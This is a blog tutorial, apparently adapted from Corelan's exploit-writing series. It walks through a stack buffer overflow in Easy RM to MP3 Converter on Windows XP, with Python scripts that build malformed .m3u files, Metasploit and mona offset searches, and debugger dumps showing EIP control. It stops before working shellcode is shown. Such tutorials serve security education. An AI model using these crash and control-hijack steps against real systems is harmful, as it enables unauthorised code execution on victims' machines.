Sunday, March 1, 2015

Exploit writing tutorial part1: Stack Based Overflows

Author: Corelan Team (corelanc0d3r)
Modify: Nixawk

This tutorial will show you how to exploit a software from stack overflow.


Requirements

  • Software: Easy RM to MP3 Converter Version 2.7.3.700.2006.09.29
  •  Platform: Microsoft Windows XP Professional 5.1.2600 Service Pack 3 Build 2600
  •  Debuggers: Immunity Debugger & windbg
  •  Exploit Tools: Metasploit


View the bug

Easy RM to MP3 Converter is a software for converting Real Media files into MP3 format.

First of all, let's verify that the application does indeed crash when opening a malformatted m3u file.(or find yourself an application that crashes when you feed specifically crafted data to it).

  • http://www.exploit-db.com/exploits/8427/
  • http://www.exploit-db.com/exploits/9177/
  • http://www.exploit-db.com/exploits/9186
  • http://www.exploit-db.com/exploits/10374/
Get yourself a copy of the vulnerable version of Easy RM to MP3 Converter and install it on a computer running Windows XP SP3 english. The vulnerability report states that the exploit works on XP SP2 (english), but I'll use XP SP3(english).

[nixawk@core share]$ exiftool ~/share/RM2MP3Converter.exe 
ExifTool Version Number         : 9.76
File Name                       : RM2MP3Converter.exe
Directory                       : /home/notfound/share
File Size                       : 564 kB
File Modification Date/Time     : 2006:09:29 18:12:06+00:00
File Access Date/Time           : 2015:02:25 10:14:22+00:00
File Inode Change Date/Time     : 2015:02:25 10:14:22+00:00
File Permissions                : rw-r--r--
File Type                       : Win32 EXE
MIME Type                       : application/octet-stream
Machine Type                    : Intel 386 or later, and compatibles
Time Stamp                      : 2006:09:29 02:12:06+00:00
PE Type                         : PE32
Linker Version                  : 6.0
Code Size                       : 241664
Initialized Data Size           : 532480
Uninitialized Data Size         : 0
Entry Point                     : 0x37854
OS Version                      : 4.0
Image Version                   : 0.0
Subsystem Version               : 4.0
Subsystem                       : Windows GUI
File Version Number             : 2.7.3.700
Product Version Number          : 2.7.3.700
File Flags Mask                 : 0x003f
File Flags                      : (none)
File OS                         : Win32
Object File Type                : Executable application
File Subtype                    : 0
Language Code                   : English (U.S.)
Character Set                   : Unicode
Comments                        : 
Company Name                    : Mini-stream
File Description                : Easy RM to MP3 Converter
File Version                    : 2, 7, 3, 700
Internal Name                   : Converter
Legal Copyright                 : Copyright (C) 2004
Legal Trademarks                : 
Original Filename               : RM2MP3Converter.EXE
Private Build                   : 
Product Name                    : Easy RM to MP3 Converter
Product Version                 : 2, 7, 3, 700
Special Build                   : 


Quick sidenote : you can find older versions of applications at oldapps.com and oldversion.com, or by looking at exploits on exploit-db.com (which often have a local copy of the vulnerable application as wlel).
PacketStorm Exploit show us junk data size more than 26000 bytes.

We'll use the following simple python script to create a .m3u file that may help us to discover more information about the vulnerability. For example:

#!/usr/bin/env python
#-*- coding: utf-8 -*-

media_file = "crash.m3u"
junk = "\x41" * 27000
with open(media_file, 'w') as f:
    f.write(junk)
print "m3u File Created successfully!"
 
If the fill size is 26000, a windows will popup. If the size is 27000, the program will crash.

Run the python script to create the m3u file. The fill will be filled with 27000 A's and open m3u file with Easy RM to MP3...

Boom – application dies.
EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 00006978
EIP 41414141   <----- EIP is 'AAAA'
Ok, so the application crashes if we feed it a file that contains between 20000 and 30000 A’s. But what can we do with this ?


Verify the bug - and see if it could be interesting

Obviously, not every application crash can lead to an exploitation. In many cases, an application crash will not lead to exploitation. But sometimes it does. With "exploitation", I mean that you want the application to do something it was not intended to do, such as rnning your own code. The easiest way to make an application do something different is by controlling its application flow (and redirect it to somewhere else). This can be done by controlling the Instruction Pointer (or Program Counter), which is a CPU register that contains a pointer to where the next instruction that needs to be executed is located.

Suppose an application calls a function with a parameter. Before going to the function, it saves the current location in the Instruction Pointer (so it knowns where to return when the function completes). If you can modify the value in this pointer, and point it to a location in memory that contains your own piece of code, then you can change the application flow and make it execte something different (other than returning back to the original place). The code that you want to be executed after controlling the flow is often refereed to as "shellcode". So if we make the application run our shellcode, we can call it a working exploit. In most cases, this pointer us referenced by the term EIP. This register size is 4 bytes. So if you can modify those 4 bytes, you own the application (and the computer the application runs on).


Determining the buffer size to write exactly into EIP

We know that EIP is located somewhere between 26000 and 27000 bytes from the beginning of the buffer. Now, you could potentially overwrite all memory space between 26000 and 27000 bytes with the address you want to overwrite EIP with. This may work, but it looks much more nice if you can find the exact location to perform the overwrite. In order to determine the exact offset of EIP in our bffer, we need to do some additional work.

Let's cut things in half. We'll create a file contains 26000 A's and another 1000 B's. If EIP contains an 41414141 (AAAA), EIP sits between 20000 and 26000, and if EIP contains 42424242 (BBBB), EIP sits between 26000 and 27000.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26000
eip = "\x42" * 1000

with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)

print "m3u file created successfully !"

Create the file and open crash.m3u in Easy RM to MP3.

EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730 ASCII "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
EBP 00334568 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 00006978
EIP 42424242   <----- EIP is 'BBBB'
Stack Information show below:

000FF724   42424242  BBBB
000FF728   42424242  BBBB
000FF72C   42424242  BBBB
000FF730   42424242  BBBB    <---- ESP
000FF734   42424242  BBBB
000FF738   42424242  BBBB
000FF73C   42424242  BBBB

OK, so EIP contains 42424242 (BBBB), so we know EIP has an offset between 26000 and 27000. That also means that we should/may see the remaining B's in memory where ESP points at (given that EIP was overwritten before the end of the 30000 character buffer).

That is great news. We have overwritten EIP with BBBB and we can also see our buffer in ESP.

Before we can start tweaking the script, we need to find the exact location in our buffer that overwrites EIP.

In order to find the exact location, we’ll use Metasploit or Imunity Debugger Mona script.

Metasploit has a nice tool to assist us with calculating the offset. It will generate a string that contains unique patterns. Using this pattern (and the value of EIP after using the pattern in our malicious .m3u file), we can see how big the buffer should be to write exactly into EIP.

[nixawk@core tools]$ ./pattern_create.rb 
Usage: pattern_create.rb length [set a] [set b] [set c]
[nixawk@core tools]$ ./pattern_create.rb 1000 > ~/share/crash1000.txt

or we can do it with Immunity Debugger mona plugin. !mona pattern_create 1000

Edit the python script and replace the variable eip with 4000 characters created by pattern_create.rb.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26000
eip = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)

print "m3u file created successfully !"

Create the m3u file. Open this file in Easy RM to MP3, wait until the application dies again, and take note of the contents of EIP.

EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730 ASCII "c7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4A
EBP 00334568 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 00006978
EIP 35634134
At this time, eip contains 0x35634134 (note: little endian: we have overwrittern EIP with 35 63 41 34 = 5cA4)


Let’s use a second metasploit tool now, to calculate the exact length of the buffer before writing into EIP, feed it with the value of EIP (based on the pattern file) and length of the buffer :


[nixawk@core tools]$ ./pattern_offset.rb 
Usage: pattern_offset.rb <search item> <length of buffer>
Default length of buffer if none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically
[nixawk@core tools]$ ./pattern_offset.rb 0x35634134 4000
[*] Exact match at offset 74

or !mona pattern_offset eip

0BADF00D
0BADF00D               [+] This mona.py action took 0:00:00
0BADF00D               [+] Command used:
0BADF00D               !mona pattern_offset eip
0BADF00D               Looking for 4Ac5 in pattern of 500000 bytes
0BADF00D                - Pattern 4Ac5 (0x35634134) found in cyclic pattern at position 74
0BADF00D               Looking for 4Ac5 in pattern of 500000 bytes
0BADF00D               Looking for 5cA4 in pattern of 500000 bytes
0BADF00D                - Pattern 5cA4 not found in cyclic pattern (uppercase)
0BADF00D               Looking for 4Ac5 in pattern of 500000 bytes
0BADF00D               Looking for 5cA4 in pattern of 500000 bytes
0BADF00D                - Pattern 5cA4 not found in cyclic pattern (lowercase)
0BADF00D

That's the buffer length needed to overwritten EIP. So if you create a file with 26000 + 74 A's, and then add 4 B's EIP should contains 42 42 42 42, We also known that ESP points at data from our buffer, so we'll add some C's after overwriting EIP.


Let's try. Modify the python script to create the new m3u file.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
junk2 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

with open(media_file, 'w') as f:
    f.write(junk)
    f.write(junk2)

print "m3u file created successfully !"


Create eip crash.m3u, open it in Easy RM to MP3, observe the crash and look at eip and the contents of the memory at ESP:

EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730 ASCII "2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai
EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 000069C2
EIP 41306141
ESP information show below:

000FF714   41414141  AAAA
000FF718   41414141  AAAA
000FF71C   41414141  AAAA
000FF720   41414141  AAAA
000FF724   41414141  AAAA
000FF728   41306141  Aa0A   <---- EIP
000FF72C   61413161  a1Aa
000FF730   33614132  2Aa3
000FF734   41346141  Aa4A
000FF738   61413561  a5Aa
000FF73C   37614136  6Aa7
000FF740   41386141  Aa8A
000FF744   62413961  a9Ab
000FF748   31624130  0Ab1
000FF74C   41326241  Ab2A
So now we control EIP. On top of that, ESP points to our buffer.


Find memory space to host the shellcode

We control EIP. So we can point EIP to somewhere else, to a place that contains our own code (shellcode). But where is this space, how can we put our shellcode in that location and how can we make EIP jump to that location ?

In order to crash the application, we have written 26074 A’s into memory, we have written a new value into the saved EIP field (ret), and we have written a bunch of C’s.

When the application crashes, take a look at the registers and dump all of them . If you can see your buffer (either the A’s or the C’s) in one of the registers, then you may be able to replace those with shellcode and jump to that location. In our example, We can see that ESP seems to point to our C’s, so ideally we would put our shellcode instead of the C’s and we tell EIP to go to the ESP address.

Despite the fact that we can see the C’s, we don’t know for sure that the first C (at address 000ff730, where ESP points at), is in fact the first C that we have put in our buffer.

We’ll change the python script and feed a pattern of characters (I’ve taken 144 characters, but you could have taken more or taken less) instead of C’s :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
eip = "\x42" * 4
junk2 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)
    f.write(junk2)

print "m3u file created successfully !"
Create the file, open it, let the application die and dump memory at location ESP :

EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730 ASCII "a1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8A
EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 000069C6
EIP 42424242    <----- "BBBB"
ok, we can see 2 interesting things here:
  • ESP starts at the 5th character of our pattern, and not the first character. You can find out why by looking at this forum post : link here
  • After the pattern string, we see “A’s”. These A’s most likely belong to the first part of the buffer, so we may also be able to put our shellcode in the first part of the buffer (before overwriting RET).
But let’s not go that way yet. We’ll first add 4 characters in front of the pattern and do the test again. If all goes well, ESP should now point directly at the beginning of our pattern :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
eip = "\x42" * 4
pad = "\x43" * 4
junk2 = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)
    f.write(pad)
    f.write(junk2)

print "m3u file created successfully !"
Let the application crash and look at esp again.

EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730 ASCII "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7
EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 000069CA
EIP 42424242 <---- EIP 'BBBB'

000FF71C   41414141  AAAA
000FF720   41414141  AAAA
000FF724   41414141  AAAA
000FF728   42424242  BBBB   <---- EIP
000FF72C   43434343  CCCC
000FF730   41306141  Aa0A   <---- ESP point here
000FF734   61413161  a1Aa
000FF738   33614132  2Aa3
000FF73C   41346141  Aa4A
000FF740   61413561  a5Aa
000FF744   37614136  6Aa7
Much better ! We now have:
  • control over EIP
  • an area where we can write our code (at least 144 bytes large. If you do some more tests with longer patterns, you will see that you have even more space… plenty of space in fact)
  • a register that directly points at our code, at address 0x000ffd38
Now we need to
  • build real shellcode
  • tell EIP to jump to the address of the start of the shellcode. We can do this by overwriting EIP with 0x000ffd38.
We’ll build a small test case : first 26074 A’s, then overwrite EIP with 000ffd38, then put 25 NOP’s, then a break, and then more NOP’s.

If all goes well, EIP should jump 000ffd38, which contains NOPs. The code should slide until the break.

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import struct

# 26000 --> 27000 crash the program
media_file = "crash.m3u"
junk = "\x41" * 26074
eip = struct.pack('L', 0x000ff730)

pad = "\x43" * 4
shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"

with open(media_file, 'w') as f:
    f.write(junk)
    f.write(eip)
    f.write(pad)
    f.write(shellcode)

print "m3u file created successfully !"
The application died, but we expected a break instead of an access violation. When we look at EIP, it points to 000ffd38, and so does ESP. When we dump ESP, we don’t see what we had expected.
EAX 00000001
ECX 7C91003D ntdll.7C91003D
EDX 003C0000
EBX 00104A58
ESP 000FF730
EBP 00334428 ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
ESI 77C5FCE0 msvcrt.77C5FCE0
EDI 000069CA
EIP 000FF730


000FF714   41414141  AAAA
000FF718   41414141  AAAA
000FF71C   41414141  AAAA
000FF720   41414141  AAAA
000FF724   41414141  AAAA
000FF728   000FF730  0▒.
000FF72C   00334428  (D3.  ASCII "C:\Documents and Settings\lab\Desktop\crash.m3u"
000FF730   00000000  .... <---- EIP point here
000FF734   00000006  ...
000FF738   00104A58  XJ.
000FF73C   00000001  ...
